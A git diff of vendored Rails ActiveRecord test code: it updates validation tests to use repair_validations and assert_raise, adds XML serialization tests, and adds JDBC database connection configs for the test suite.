   def test_exception_on_create_bang_many
-    assert_raises(ActiveRecord::RecordInvalid) do
+    assert_raise(ActiveRecord::RecordInvalid) do
       Reply.create!([ { "title" => "OK" }, { "title" => "Wrong Create" }])
     end
   end
-  
+
   def test_exception_on_create_bang_with_block
-    assert_raises(ActiveRecord::RecordInvalid) do
+    assert_raise(ActiveRecord::RecordInvalid) do
       Reply.create!({ "title" => "OK" }) do |r|
         r.content = nil
       end
     end
   end
-  
+
   def test_exception_on_create_bang_many_with_block
-    assert_raises(ActiveRecord::RecordInvalid) do
+    assert_raise(ActiveRecord::RecordInvalid) do
       Reply.create!([{ "title" => "OK" }, { "title" => "Wrong Create" }]) do |r|
         r.content = nil
       end
@@ -153,7 +156,7 @@ class ValidationsTest < ActiveRecord::TestCase
 
   def test_scoped_create_without_attributes
     Reply.with_scope(:create => {}) do
-      assert_raises(ActiveRecord::RecordInvalid) { Reply.create! }
+      assert_raise(ActiveRecord::RecordInvalid) { Reply.create! }
     end
   end
 
@@ -173,7 +176,15 @@ class ValidationsTest < ActiveRecord::TestCase
         assert_equal person.first_name, "Mary", "should be ok when no attributes are passed to create!"
       end
     end
- end
+  end
+
+  def test_values_are_not_retrieved_unless_needed
+    assert_nothing_raised do
+      person = ProtectedPerson.new
+      person.special_error
+      assert_equal "This method does not exist", person.errors[:special_error]
+    end
+  end
 
   def test_single_error_per_attr_iteration
     r = Reply.new
@@ -229,21 +240,16 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_validates_each
-    perform = true
     hits = 0
     Topic.validates_each(:title, :content, [:title, :content]) do |record, attr|
-      if perform
-        record.errors.add attr, 'gotcha'
-        hits += 1
-      end
+      record.errors.add attr, 'gotcha'
+      hits += 1
     end
     t = Topic.new("title" => "valid", "content" => "whatever")
     assert !t.save
     assert_equal 4, hits
     assert_equal %w(gotcha gotcha), t.errors.on(:title)
     assert_equal %w(gotcha gotcha), t.errors.on(:content)
-  ensure
-    perform = false
   end
 
   def test_no_title_confirmation
@@ -315,8 +321,12 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_validates_acceptance_of_as_database_column
-    reply = PlagiarizedReply.create("author_name" => "Dan Brown")
-    assert_equal "Dan Brown", reply["author_name"]
+    repair_validations(Reply) do
+      Reply.validates_acceptance_of(:author_name)
+
+      reply = Reply.create("author_name" => "Dan Brown")
+      assert_equal "Dan Brown", reply["author_name"]
+    end
   end
 
   def test_validates_acceptance_of_with_non_existant_table
@@ -349,13 +359,13 @@ class ValidationsTest < ActiveRecord::TestCase
   def test_validate_uniqueness
     Topic.validates_uniqueness_of(:title)
 
-    t = Topic.new("title" => "I'm unique!")
+    t = Topic.new("title" => "I'm uniqué!")
     assert t.save, "Should save t as unique"
 
     t.content = "Remaining unique"
     assert t.save, "Should still save t as unique"
 
-    t2 = Topic.new("title" => "I'm unique!")
+    t2 = Topic.new("title" => "I'm uniqué!")
     assert !t2.valid?, "Shouldn't be valid"
     assert !t2.save, "Shouldn't save t2 as unique"
     assert_equal "has already been taken", t2.errors.on(:title)
@@ -372,22 +382,24 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_validate_uniqueness_with_scope
-    Reply.validates_uniqueness_of(:content, :scope => "parent_id")
+    repair_validations(Reply) do
+      Reply.validates_uniqueness_of(:content, :scope => "parent_id")
 
-    t = Topic.create("title" => "I'm unique!")
+      t = Topic.create("title" => "I'm unique!")
 
-    r1 = t.replies.create "title" => "r1", "content" => "hello world"
-    assert r1.valid?, "Saving r1"
+      r1 = t.replies.create "title" => "r1", "content" => "hello world"
+      assert r1.valid?, "Saving r1"
 
-    r2 = t.replies.create "title" => "r2", "content" => "hello world"
-    assert !r2.valid?, "Saving r2 first time"
+      r2 = t.replies.create "title" => "r2", "content" => "hello world"
+      assert !r2.valid?, "Saving r2 first time"
 
-    r2.content = "something else"
-    assert r2.save, "Saving r2 second time"
+      r2.content = "something else"
+      assert r2.save, "Saving r2 second time"
 
-    t2 = Topic.create("title" => "I'm unique too!")
-    r3 = t2.replies.create "title" => "r3", "content" => "hello world"
-    assert r3.valid?, "Saving r3"
+      t2 = Topic.create("title" => "I'm unique too!")
+      r3 = t2.replies.create "title" => "r3", "content" => "hello world"
+      assert r3.valid?, "Saving r3"
+    end
   end
 
   def test_validate_uniqueness_scoped_to_defining_class
@@ -406,27 +418,29 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_validate_uniqueness_with_scope_array
-    Reply.validates_uniqueness_of(:author_name, :scope => [:author_email_address, :parent_id])
+    repair_validations(Reply) do
+      Reply.validates_uniqueness_of(:author_name, :scope => [:author_email_address, :parent_id])
 
-    t = Topic.create("title" => "The earth is actually flat!")
+      t = Topic.create("title" => "The earth is actually flat!")
 
-    r1 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply"
-    assert r1.valid?, "Saving r1"
+      r1 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply"
+      assert r1.valid?, "Saving r1"
 
-    r2 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply again..."
-    assert !r2.valid?, "Saving r2. Double reply by same author."
+      r2 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy@rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply again..."
+      assert !r2.valid?, "Saving r2. Double reply by same author."
 
-    r2.author_email_address = "jeremy_alt_email@rubyonrails.com"
-    assert r2.save, "Saving r2 the second time."
+      r2.author_email_address = "jeremy_alt_email@rubyonrails.com"
+      assert r2.save, "Saving r2 the second time."
 
-    r3 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy_alt_email@rubyonrails.com", "title" => "You're wrong", "content" => "It's cubic"
-    assert !r3.valid?, "Saving r3"
+      r3 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy_alt_email@rubyonrails.com", "title" => "You're wrong", "content" => "It's cubic"
+      assert !r3.valid?, "Saving r3"
 
-    r3.author_name = "jj"
-    assert r3.save, "Saving r3 the second time."
+      r3.author_name = "jj"
+      assert r3.save, "Saving r3 the second time."
 
-    r3.author_name = "jeremy"
-    assert !r3.save, "Saving r3 the third time."
+      r3.author_name = "jeremy"
+      assert !r3.save, "Saving r3 the third time."
+    end
   end
 
   def test_validate_case_insensitive_uniqueness
@@ -523,10 +537,30 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_validate_uniqueness_with_columns_which_are_sql_keywords
-    Guid.validates_uniqueness_of :key
-    g = Guid.new
-    g.key = "foo"
-    assert_nothing_raised { !g.valid? }
+    repair_validations(Guid) do
+      Guid.validates_uniqueness_of :key
+      g = Guid.new
+      g.key = "foo"
+      assert_nothing_raised { !g.valid? }
+    end
+  end
+
+  def test_validate_uniqueness_with_limit
+    # Event.title is limited to 5 characters
+    e1 = Event.create(:title => "abcde")
+    assert e1.valid?, "Could not create an event with a unique, 5 character title"
+    e2 = Event.create(:title => "abcdefgh")
+    assert !e2.valid?, "Created an event whose title, with limit taken into account, is not unique"
+  end
+
+  def test_validate_uniqueness_with_limit_and_utf8
+    with_kcode('UTF8') do
+      # Event.title is limited to 5 characters
+      e1 = Event.create(:title => "一二三四五")
+      assert e1.valid?, "Could not create an event with a unique, 5 character title"
+      e2 = Event.create(:title => "一二三四五六七八")
+      assert !e2.valid?, "Created an event whose title, with limit taken into account, is not unique"
+    end
   end
 
   def test_validate_straight_inheritance_uniqueness
@@ -648,10 +682,12 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_numericality_with_getter_method
-    Developer.validates_numericality_of( :salary )
-    developer = Developer.new("name" => "michael", "salary" => nil)
-    developer.instance_eval("def salary; read_attribute('salary') ? read_attribute('salary') : 100000; end")
-    assert developer.valid?
+    repair_validations(Developer) do
+      Developer.validates_numericality_of( :salary )
+      developer = Developer.new("name" => "michael", "salary" => nil)
+      developer.instance_eval("def salary; read_attribute('salary') ? read_attribute('salary') : 100000; end")
+      assert developer.valid?
+    end
   end
 
   def test_validates_length_of_with_allow_nil
@@ -684,10 +720,12 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_numericality_with_allow_nil_and_getter_method
-    Developer.validates_numericality_of( :salary, :allow_nil => true)
-    developer = Developer.new("name" => "michael", "salary" => nil)
-    developer.instance_eval("def salary; read_attribute('salary') ? read_attribute('salary') : 100000; end")
-    assert developer.valid?
+    repair_validations(Developer) do
+      Developer.validates_numericality_of( :salary, :allow_nil => true)
+      developer = Developer.new("name" => "michael", "salary" => nil)
+      developer.instance_eval("def salary; read_attribute('salary') ? read_attribute('salary') : 100000; end")
+      assert developer.valid?
+    end
   end
 
   def test_validates_exclusion_of
@@ -881,37 +919,45 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_validates_length_with_globally_modified_error_message
-    ActiveSupport::Deprecation.silence do
-      ActiveRecord::Errors.default_error_messages[:too_short] = 'tu est trops petit hombre {{count}}'
-    end
+    defaults = ActiveSupport::Deprecation.silence { ActiveRecord::Errors.default_error_messages }
+    original_message = defaults[:too_short]
+    defaults[:too_short] = 'tu est trops petit hombre {{count}}'
+
     Topic.validates_length_of :title, :minimum => 10
     t = Topic.create(:title => 'too short')
     assert !t.valid?
 
     assert_equal 'tu est trops petit hombre 10', t.errors['title']
+
+  ensure
+    defaults[:too_short] = original_message
   end
 
   def test_validates_size_of_association
-    assert_nothing_raised { Topic.validates_size_of :replies, :minimum => 1 }
-    t = Topic.new('title' => 'noreplies', 'content' => 'whatever')
-    assert !t.save
-    assert t.errors.on(:replies)
-    reply = t.replies.build('title' => 'areply', 'content' => 'whateveragain')
-    assert t.valid?
+    repair_validations(Owner) do
+      assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+      o = Owner.new('name' => 'nopets')
+      assert !o.save
+      assert o.errors.on(:pets)
+      pet = o.pets.build('name' => 'apet')
+      assert o.valid?
+    end
   end
 
   def test_validates_size_of_association_using_within
-    assert_nothing_raised { Topic.validates_size_of :replies, :within => 1..2 }
-    t = Topic.new('title' => 'noreplies', 'content' => 'whatever')
-    assert !t.save
-    assert t.errors.on(:replies)
+    repair_validations(Owner) do
+      assert_nothing_raised { Owner.validates_size_of :pets, :within => 1..2 }
+      o = Owner.new('name' => 'nopets')
+      assert !o.save
+      assert o.errors.on(:pets)
 
-    reply = t.replies.build('title' => 'areply', 'content' => 'whateveragain')
-    assert t.valid?
+      pet = o.pets.build('name' => 'apet')
+      assert o.valid?
 
-    2.times { t.replies.build('title' => 'areply', 'content' => 'whateveragain') }
-    assert !t.save
-    assert t.errors.on(:replies)
+      2.times { o.pets.build('name' => 'apet') }
+      assert !o.save
+      assert o.errors.on(:pets)
+    end
   end
 
   def test_validates_length_of_nasty_params
@@ -949,6 +995,19 @@ class ValidationsTest < ActiveRecord::TestCase
     assert_equal "boo 5", t.errors["title"]
   end
 
+  def test_validates_length_of_custom_errors_for_in
+    Topic.validates_length_of(:title, :in => 10..20, :message => "hoo {{count}}")
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "hoo 10", t.errors["title"]
+
+    t = Topic.create("title" => "uhohuhohuhohuhohuhohuhohuhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "hoo 20", t.errors["title"]
+  end
+
   def test_validates_length_of_custom_errors_for_maximum_with_too_long
     Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}" )
     t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
@@ -1102,13 +1161,15 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_validates_size_of_association_utf8
-    with_kcode('UTF8') do
-      assert_nothing_raised { Topic.validates_size_of :replies, :minimum => 1 }
-      t = Topic.new('title' => 'あいうえお', 'content' => 'かきくけこ')
-      assert !t.save
-      assert t.errors.on(:replies)
-      t.replies.build('title' => 'あいうえお', 'content' => 'かきくけこ')
-      assert t.valid?
+    repair_validations(Owner) do
+      with_kcode('UTF8') do
+        assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
+        o = Owner.new('name' => 'あいうえおかきくけこ')
+        assert !o.save
+        assert o.errors.on(:pets)
+        o.pets.build('name' => 'あいうえおかきくけこ')
+        assert o.valid?
+      end
     end
   end
 
@@ -1127,14 +1188,16 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_validates_associated_one
-    Reply.validates_associated( :topic )
-    Topic.validates_presence_of( :content )
-    r = Reply.new("title" => "A reply", "content" => "with content!")
-    r.topic = Topic.create("title" => "uhohuhoh")
-    assert !r.valid?
-    assert r.errors.on(:topic)
-    r.topic.content = "non-empty"
-    assert r.valid?
+    repair_validations(Reply) do
+      Reply.validates_associated( :topic )
+      Topic.validates_presence_of( :content )
+      r = Reply.new("title" => "A reply", "content" => "with content!")
+      r.topic = Topic.create("title" => "uhohuhoh")
+      assert !r.valid?
+      assert r.errors.on(:topic)
+      r.topic.content = "non-empty"
+      assert r.valid?
+    end
   end
 
   def test_validate_block
@@ -1158,85 +1221,105 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_validates_acceptance_of_with_custom_error_using_quotes
-    Developer.validates_acceptance_of :salary, :message=> "This string contains 'single' and \"double\" quotes"
-    d = Developer.new
-    d.salary = "0"
-    assert !d.valid?
-    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:salary).last
+    repair_validations(Developer) do
+      Developer.validates_acceptance_of :salary, :message=> "This string contains 'single' and \"double\" quotes"
+      d = Developer.new
+      d.salary = "0"
+      assert !d.valid?
+      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:salary).last
+    end
   end
 
   def test_validates_confirmation_of_with_custom_error_using_quotes
-    Developer.validates_confirmation_of :name, :message=> "confirm 'single' and \"double\" quotes"
-    d = Developer.new
-    d.name = "John"
-    d.name_confirmation = "Johnny"
-    assert !d.valid?
-    assert_equal "confirm 'single' and \"double\" quotes", d.errors.on(:name)
+    repair_validations(Developer) do
+      Developer.validates_confirmation_of :name, :message=> "confirm 'single' and \"double\" quotes"
+      d = Developer.new
+      d.name = "John"
+      d.name_confirmation = "Johnny"
+      assert !d.valid?
+      assert_equal "confirm 'single' and \"double\" quotes", d.errors.on(:name)
+    end
   end
 
   def test_validates_format_of_with_custom_error_using_quotes
-    Developer.validates_format_of :name, :with => /^(A-Z*)$/, :message=> "format 'single' and \"double\" quotes"
-    d = Developer.new
-    d.name = d.name_confirmation = "John 32"
-    assert !d.valid?
-    assert_equal "format 'single' and \"double\" quotes", d.errors.on(:name)
+    repair_validations(Developer) do
+      Developer.validates_format_of :name, :with => /^(A-Z*)$/, :message=> "format 'single' and \"double\" quotes"
+      d = Developer.new
+      d.name = d.name_confirmation = "John 32"
+      assert !d.valid?
+      assert_equal "format 'single' and \"double\" quotes", d.errors.on(:name)
+    end
   end
 
   def test_validates_inclusion_of_with_custom_error_using_quotes
-    Developer.validates_inclusion_of :salary, :in => 1000..80000, :message=> "This string contains 'single' and \"double\" quotes"
-    d = Developer.new
-    d.salary = "90,000"
-    assert !d.valid?
-    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:salary).last
+    repair_validations(Developer) do
+      Developer.validates_inclusion_of :salary, :in => 1000..80000, :message=> "This string contains 'single' and \"double\" quotes"
+      d = Developer.new
+      d.salary = "90,000"
+      assert !d.valid?
+      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:salary).last
+    end
   end
 
   def test_validates_length_of_with_custom_too_long_using_quotes
-    Developer.validates_length_of :name, :maximum => 4, :too_long=> "This string contains 'single' and \"double\" quotes"
-    d = Developer.new
-    d.name = "Jeffrey"
-    assert !d.valid?
-    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name).last
+    repair_validations(Developer) do
+      Developer.validates_length_of :name, :maximum => 4, :too_long=> "This string contains 'single' and \"double\" quotes"
+      d = Developer.new
+      d.name = "Jeffrey"
+      assert !d.valid?
+      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name)
+    end
   end
 
   def test_validates_length_of_with_custom_too_short_using_quotes
-    Developer.validates_length_of :name, :minimum => 4, :too_short=> "This string contains 'single' and \"double\" quotes"
-    d = Developer.new
-    d.name = "Joe"
-    assert !d.valid?
-    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name).last
+    repair_validations(Developer) do
+      Developer.validates_length_of :name, :minimum => 4, :too_short=> "This string contains 'single' and \"double\" quotes"
+      d = Developer.new
+      d.name = "Joe"
+      assert !d.valid?
+      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name)
+    end
   end
 
   def test_validates_length_of_with_custom_message_using_quotes
-    Developer.validates_length_of :name, :minimum => 4, :message=> "This string contains 'single' and \"double\" quotes"
-    d = Developer.new
-    d.name = "Joe"
-    assert !d.valid?
-    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name).last
+    repair_validations(Developer) do
+      Developer.validates_length_of :name, :minimum => 4, :message=> "This string contains 'single' and \"double\" quotes"
+      d = Developer.new
+      d.name = "Joe"
+      assert !d.valid?
+      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name)
+    end
   end
 
   def test_validates_presence_of_with_custom_message_using_quotes
-    Developer.validates_presence_of :non_existent, :message=> "This string contains 'single' and \"double\" quotes"
-    d = Developer.new
-    d.name = "Joe"
-    assert !d.valid?
-    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:non_existent)
+    repair_validations(Developer) do
+      Developer.validates_presence_of :non_existent, :message=> "This string contains 'single' and \"double\" quotes"
+      d = Developer.new
+      d.name = "Joe"
+      assert !d.valid?
+      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:non_existent)
+    end
   end
 
   def test_validates_uniqueness_of_with_custom_message_using_quotes
-    Developer.validates_uniqueness_of :name, :message=> "This string contains 'single' and \"double\" quotes"
-    d = Developer.new
-    d.name = "David"
-    assert !d.valid?
-    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name).last
+    repair_validations(Developer) do
+      Developer.validates_uniqueness_of :name, :message=> "This string contains 'single' and \"double\" quotes"
+      d = Developer.new
+      d.name = "David"
+      assert !d.valid?
+      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name)
+    end
   end
 
   def test_validates_associated_with_custom_message_using_quotes
-    Reply.validates_associated :topic, :message=> "This string contains 'single' and \"double\" quotes"
-    Topic.validates_presence_of :content
-    r = Reply.create("title" => "A reply", "content" => "with content!")
-    r.topic = Topic.create("title" => "uhohuhoh")
-    assert !r.valid?
-    assert_equal "This string contains 'single' and \"double\" quotes", r.errors.on(:topic).last
+    repair_validations(Reply) do
+      Reply.validates_associated :topic, :message=> "This string contains 'single' and \"double\" quotes"
+      Topic.validates_presence_of :content
+      r = Reply.create("title" => "A reply", "content" => "with content!")
+      r.topic = Topic.create("title" => "uhohuhoh")
+      assert !r.valid?
+      assert_equal "This string contains 'single' and \"double\" quotes", r.errors.on(:topic)
+    end
   end
 
   def test_if_validation_using_method_true
@@ -1346,13 +1429,15 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_validates_associated_missing
-    Reply.validates_presence_of(:topic)
-    r = Reply.create("title" => "A reply", "content" => "with content!")
-    assert !r.valid?
-    assert r.errors.on(:topic)
+    repair_validations(Reply) do
+      Reply.validates_presence_of(:topic)
+      r = Reply.create("title" => "A reply", "content" => "with content!")
+      assert !r.valid?
+      assert r.errors.on(:topic)
 
-    r.topic = Topic.find :first
-    assert r.valid?
+      r.topic = Topic.find :first
+      assert r.valid?
+    end
   end
 
   def test_errors_to_xml
@@ -1364,14 +1449,35 @@ class ValidationsTest < ActiveRecord::TestCase
     assert xml.include?("<error>Content Empty</error>")
   end
 
- def test_validation_order
-    Topic.validates_presence_of :title
-    Topic.validates_length_of :title, :minimum => 2
+  def test_validation_order
+    Topic.validates_presence_of :title, :author_name
+    Topic.validate {|topic| topic.errors.add('author_email_address', 'will never be valid')}
+    Topic.validates_length_of :title, :content, :minimum => 2
 
-    t = Topic.new("title" => "")
-    assert !t.valid?
-    assert_equal "can't be blank", t.errors.on("title").first
- end
+    t = Topic.new :title => ''
+    t.valid?
+    e = t.errors.instance_variable_get '@errors'
+    assert_equal 'title', key = e.keys.first
+    assert_equal "can't be blank", t.errors.on(key).first
+    assert_equal 'is too short (minimum is 2 characters)', t.errors.on(key).second
+    assert_equal 'author_name', key = e.keys.second
+    assert_equal "can't be blank", t.errors.on(key)
+    assert_equal 'author_email_address', key = e.keys.third
+    assert_equal 'will never be valid', t.errors.on(key)
+    assert_equal 'content', key = e.keys.fourth
+    assert_equal 'is too short (minimum is 2 characters)', t.errors.on(key)
+  end
+
+  def test_invalid_should_be_the_opposite_of_valid
+    Topic.validates_presence_of :title
+
+    t = Topic.new
+    assert t.invalid?
+    assert t.errors.invalid?(:title)
+
+    t.title = 'Things are going to change'
+    assert !t.invalid?
+  end
 
   # previous implementation of validates_presence_of eval'd the
   # string with the wrong binding, this regression test is to
@@ -1394,20 +1500,6 @@ class ValidationsTest < ActiveRecord::TestCase
     t.author_name = "Hubert J. Farnsworth"
     assert t.valid?, "A topic with an important title and author should be valid"
   end
-
-  private
-    def with_kcode(kcode)
-      if RUBY_VERSION < '1.9'
-        orig_kcode, $KCODE = $KCODE, kcode
-        begin
-          yield
-        ensure
-          $KCODE = orig_kcode
-        end
-      else
-        yield
-      end
-    end
 end
 
 
@@ -1423,11 +1515,7 @@ class ValidatesNumericalityTest < ActiveRecord::TestCase
   JUNK = ["not a number", "42 not a number", "0xdeadbeef", "00-1", "--3", "+-3", "+3-1", "-+019.0", "12.12.13.12", "123\nnot a number"]
   INFINITY = [1.0/0.0]
 
-  def setup
-    Topic.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-    Topic.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-    Topic.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-  end
+  repair_validations(Topic)
 
   def test_default_validates_numericality_of
     Topic.validates_numericality_of :approved
diff --git a/vendor/rails/activerecord/test/cases/xml_serialization_test.rb b/vendor/rails/activerecord/test/cases/xml_serialization_test.rb
index 63f48865..d8d952be 100644
--- a/vendor/rails/activerecord/test/cases/xml_serialization_test.rb
+++ b/vendor/rails/activerecord/test/cases/xml_serialization_test.rb
@@ -4,6 +4,7 @@ require 'models/post'
 require 'models/author'
 require 'models/tagging'
 require 'models/comment'
+require 'models/company_in_module'
 
 class XmlSerializationTest < ActiveRecord::TestCase
   def test_should_serialize_default_root
@@ -31,11 +32,22 @@ class XmlSerializationTest < ActiveRecord::TestCase
     assert_match %r{<created_at},     @xml
   end
 
+  def test_should_allow_camelized_tags
+    @xml = Contact.new.to_xml :root => 'xml_contact', :camelize => true
+    assert_match %r{^<XmlContact>},  @xml
+    assert_match %r{</XmlContact>$}, @xml
+    assert_match %r{<CreatedAt},    @xml
+  end
+
+  def test_should_allow_skipped_types
+    @xml = Contact.new(:age => 25).to_xml :skip_types => true
+    assert %r{<age>25</age>}.match(@xml)
+  end
+
   def test_should_include_yielded_additions
     @xml = Contact.new.to_xml do |xml|
       xml.creator "David"
     end
-
     assert_match %r{<creator>David</creator>}, @xml
   end
 end
@@ -118,6 +130,25 @@ class NilXmlSerializationTest < ActiveRecord::TestCase
   end
 end
 
+class DatabaseConnectedXmlModuleSerializationTest < ActiveRecord::TestCase
+
+  fixtures :projects, :developers, :developers_projects
+
+  def test_module
+    project = MyApplication::Business::Project.find :first
+    xml = project.to_xml
+    assert_match %r{<my-application-business-project>}, xml
+    assert_match %r{</my-application-business-project>}, xml
+  end
+
+  def test_module_with_include
+    project = MyApplication::Business::Project.find :first
+    xml = project.to_xml :include => :developers
+    assert_match %r{<developer type="MyApplication::Business::Developer">}, xml
+    assert_match %r{</developer>}, xml
+  end
+end
+
 class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
   fixtures :authors, :posts
   # to_xml used to mess with the hash the user provided which
@@ -138,6 +169,13 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
     assert_match %r{<hello-post type="StiPost">}, xml
   end
 
+  def test_included_associations_should_skip_types
+    xml = authors(:david).to_xml :include=>:hello_posts, :indent => 0, :skip_types => true
+    assert_match %r{<hello-posts>}, xml
+    assert_match %r{<hello-post>}, xml
+    assert_match %r{<hello-post>}, xml
+  end
+
   def test_methods_are_called_on_object
     xml = authors(:david).to_xml :methods => :label, :indent => 0
     assert_match %r{<label>.*</label>}, xml
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbcderby/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbcderby/connection.rb
new file mode 100644
index 00000000..222ef5db
--- /dev/null
+++ b/vendor/rails/activerecord/test/connections/jdbc_jdbcderby/connection.rb
@@ -0,0 +1,18 @@
+print "Using Derby via JRuby, activerecord-jdbc-adapter and activerecord-jdbcderby-adapter\n"
+require_dependency 'models/course'
+require 'logger'
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter  => 'jdbcderby',
+    :database => 'activerecord_unittest'
+  },
+  'arunit2' => {
+    :adapter  => 'jdbcderby',
+    :database => 'activerecord_unittest2'
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbch2/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbch2/connection.rb
new file mode 100644
index 00000000..9d2875e8
--- /dev/null
+++ b/vendor/rails/activerecord/test/connections/jdbc_jdbch2/connection.rb
@@ -0,0 +1,18 @@
+print "Using H2 via JRuby, activerecord-jdbc-adapter and activerecord-jdbch2-adapter\n"
+require_dependency 'models/course'
+require 'logger'
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter  => 'jdbch2',
+    :database => 'activerecord_unittest'
+  },
+  'arunit2' => {
+    :adapter  => 'jdbch2',
+    :database => 'activerecord_unittest2'
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbchsqldb/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbchsqldb/connection.rb
new file mode 100644
index 00000000..fa943c2c
--- /dev/null
+++ b/vendor/rails/activerecord/test/connections/jdbc_jdbchsqldb/connection.rb
@@ -0,0 +1,18 @@
+print "Using HSQLDB via JRuby, activerecord-jdbc-adapter and activerecord-jdbchsqldb-adapter\n"
+require_dependency 'models/course'
+require 'logger'
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter  => 'jdbchsqldb',
+    :database => 'activerecord_unittest'
+  },
+  'arunit2' => {
+    :adapter  => 'jdbchsqldb',
+    :database => 'activerecord_unittest2'
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbcmysql/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbcmysql/connection.rb
new file mode 100644
index 00000000..e2517a50
--- /dev/null
+++ b/vendor/rails/activerecord/test/connections/jdbc_jdbcmysql/connection.rb
@@ -0,0 +1,26 @@
+print "Using MySQL via JRuby, activerecord-jdbc-adapter and activerecord-jdbcmysql-adapter\n"
+require_dependency 'models/course'
+require 'logger'
+
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+# GRANT ALL PRIVILEGES ON activerecord_unittest.* to 'rails'@'localhost';
+# GRANT ALL PRIVILEGES ON activerecord_unittest2.* to 'rails'@'localhost';
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter  => 'jdbcmysql',
+    :username => 'rails',
+    :encoding => 'utf8',
+    :database => 'activerecord_unittest',
+  },
+  'arunit2' => {
+    :adapter  => 'jdbcmysql',
+    :username => 'rails',
+    :database => 'activerecord_unittest2'
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'
+
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbcpostgresql/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbcpostgresql/connection.rb
new file mode 100644
index 00000000..0685da44
--- /dev/null
+++ b/vendor/rails/activerecord/test/connections/jdbc_jdbcpostgresql/connection.rb
@@ -0,0 +1,26 @@
+print "Using Postgrsql via JRuby, activerecord-jdbc-adapter and activerecord-postgresql-adapter\n"
+require_dependency 'models/course'
+require 'logger'
+
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+# createuser rails --createdb --no-superuser --no-createrole
+# createdb -O rails activerecord_unittest
+# createdb -O rails activerecord_unittest2
+
+ActiveRecord::Base.configurations = {
+  'arunit' => {
+    :adapter  => 'jdbcpostgresql',
+    :username => ENV['USER'] || 'rails',
+    :database => 'activerecord_unittest'
+  },
+  'arunit2' => {
+    :adapter  => 'jdbcpostgresql',
+    :username => ENV['USER'] || 'rails',
+    :database => 'activerecord_unittest2'
+  }
+}
+
+ActiveRecord::Base.establish_connection 'arunit'
+Course.establish_connection 'arunit2'
+
diff --git a/vendor/rails/activerecord/test/connections/jdbc_jdbcsqlite3/connection.rb b/vendor/rails/activerecord/test/connections/jdbc_jdbcsqlite3/connection.rb
new file mode 100644
index 00000000..26d4676f
--- /dev/null
